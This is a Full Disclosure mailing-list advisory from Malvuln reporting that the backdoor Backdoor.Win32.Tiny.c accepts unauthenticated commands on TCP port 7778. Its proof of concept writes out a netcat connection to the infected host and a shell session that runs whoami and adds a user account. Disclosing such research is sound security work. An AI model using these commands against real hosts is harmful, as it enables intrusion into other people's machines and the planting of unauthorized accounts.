full-disclosure - [FD] Backdoor.Win32.Tiny.c / Unauthenticated Remote Command Execution

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Message-ID: <CAAHK0WQ68XEnHNGWu7EYbv-wtUF1wc0kJKztUTHB3B9VhG9fvg@mail.gmail.com>
Date: Sat, 29 Jan 2022 01:07:04 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Tiny.c / Unauthenticated Remote Command
	Execution

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source:
https://malvuln.com/advisory/c61733c6bcbbb11cee634e0a3fd672e9.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Tiny.c
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 7778. Third-party attackers
who can reach an infected system can run any OS commands hijacking the
compromised host.
Type: PE32
MD5: c61733c6bcbbb11cee634e0a3fd672e9
Vuln ID: MVID-2022-0476
Disclosure: 01/29/2022

Exploit/PoC:
Note: Hit Enter twice and we get a command line to the infected host.

nc64.exe x.x.x.x 7778

wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww
'wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww' is not
recognized as an internal or external command,
operable program or batch file.

C:\Users\Victim\Desktop>whoami
whoami
desktop-2c3iqho\victim

C:\Users\Victim\Desktop>net user malvuln 13 /add
net user malvuln 13 /add
The command completed successfully.

C:\Users\Victim\Desktop>

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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